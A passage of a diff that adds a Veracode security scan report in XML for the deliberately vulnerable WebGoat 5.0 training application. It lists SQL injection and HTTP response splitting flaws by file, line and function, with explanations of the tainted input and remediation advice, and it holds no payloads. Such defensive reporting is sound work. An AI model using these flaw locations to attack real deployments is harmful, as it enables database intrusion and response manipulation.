+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ThreadSafetyProblem.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.ThreadSafetyProblem\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"53\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"71\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"176\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"112\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"248\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"59\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"295\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"68\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"139\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"340\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"85\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"258\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from earlier calls
+        to javax.servlet.ServletRequest.getParameterValues, javax.servlet.ServletRequest.getParameter,
+        java.sql.Statement.executeQuery, and java.sql.PreparedStatement.executeQuery.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile_i.java\"
+        line=\"64\" sourcefilepath=\"org/owasp/webgoat/lessons/instructor/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl.UpdateProfile_i\"
+        functionprototype=\"void changeEmployeeProfile(session.WebSession, int, int,
+        session.Employee)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"17\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable sqlStatement. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewDatabase.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/admin/\" scope=\"org.owasp.webgoat.lessons.admin.ViewDatabase\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"12\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"118\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"197\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"178\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile_BACKUP(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"166\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WsSqlInjection.java\"
+        line=\"240\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WsSqlInjection\"
+        functionprototype=\"java.sql.ResultSet getResults(java.lang.String)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"275\" module=\"dynamic_analysis\"
+        type=\"Improper Neutralization of Special Elements used in an SQL Command
+        ('SQL Injection')\" description=\"This database query contains a SQL injection
+        flaw. The function call constructs a dynamic SQL query using a variable derived
+        from user-supplied input. An attacker could exploit this flaw to execute arbitrary
+        SQL queries against the database.\r\n\r\nAvoid dynamically constructing SQL
+        queries. Instead, use parameterized prepared statements to prevent the database
+        from interpreting the contents of bind variables as part of the query. Always
+        validate user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=89)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" categoryid=\"19\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"id\"/>\n</dynamicflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"3\">\n<category categoryid=\"21\" categoryname=\"CRLF Injection\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"The acronym CRLF stands for &quot;Carriage
+        Return, Line Feed&quot; and refers to the sequence of characters used to denote
+        the end of a line of text.  CRLF injection vulnerabilities occur when data
+        enters an application from an untrusted source and is not properly validated
+        before being used.  For example, if an attacker is able to inject a CRLF into
+        a log file, he could append falsified log entries, thereby misleading administrators
+        or cover traces of the attack.  If an attacker is able to inject CRLFs into
+        an HTTP response header, he can use this ability to carry out other attacks
+        such as cache poisoning.  CRLF vulnerabilities primarily affect data integrity.
+        \ \"/>\n</desc>\n<recommendations>\n<para text=\"Apply robust input filtering
+        for all user-supplied data, using centralized data validation routines when
+        possible.  Use output filters to sanitize all output derived from user-supplied
+        input, replacing non-alphanumeric characters with their HTML entity equivalents.\"/>\n</recommendations>\n<cwe
+        cweid=\"113\" cwename=\"Improper Neutralization of CRLF Sequences in HTTP
+        Headers ('HTTP Response Splitting')\" pcirelated=\"false\">\n<description>\n<text
+        text=\"A function call contains an HTTP response splitting flaw.  Writing
+        unsanitized user-supplied input into an HTTP header allows an attacker to
+        manipulate the HTTP response rendered by the browser, leading to cache poisoning
+        and cross-site scripting attacks.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"10\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"config_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/ConfManagement/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.ConfManagement.config_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"78\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"198\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void setHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"204\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"212\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void removeHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"92\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
